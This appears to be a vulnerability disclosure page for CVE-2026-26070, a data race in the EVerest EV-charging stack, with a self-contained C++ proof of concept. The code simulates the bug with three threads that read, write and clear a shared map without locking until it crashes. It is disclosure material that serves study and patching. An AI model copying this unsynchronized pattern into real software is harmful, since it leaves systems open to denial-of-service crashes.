CVE-2026-26070 EVerest数据竞争导致拒绝服务漏洞

#include <thread> #include <map> #include <optional> #include <iostream> // Simulating the vulnerable structure in EVerest std::map<int, std::optional<double>> shared_power_data; bool system_running = true; // Simulate EV SoC update thread void ev_soc_update() { while (system_running) { // Thread 1: Writing to shared map shared_power_data[1] = 85.5; std::this_thread::sleep_for(std::chrono::milliseconds(10)); } } // Simulate Powermeter periodic update thread void powermeter_update() { while (system_running) { // Thread 2: Reading/Writing to shared map if (shared_power_data.find(1) != shared_power_data.end()) { auto val = shared_power_data[1]; // Potential race condition during copy or access if (val.has_value()) { shared_power_data[2] = val.value(); } } std::this_thread::sleep_for(std::chrono::milliseconds(15)); } } // Simulate Unplugging/SessionFinished event void trigger_session_finished() { // Wait for a specific time to overlap with other updates std::this_thread::sleep_for(std::chrono::milliseconds(50)); // Thread 3: Modifying/Clearing map while others are active // This operation conflicts with concurrent access in Thread 1 & 2 shared_power_data.clear(); system_running = false; } int main() { std::thread t1(ev_soc_update); std::thread t2(powermeter_update); std::thread t3(trigger_session_finished); t1.join(); t2.join(); t3.join(); std::cout << "PoC executed. Check for crashes or undefined behavior." << std::endl; return 0; }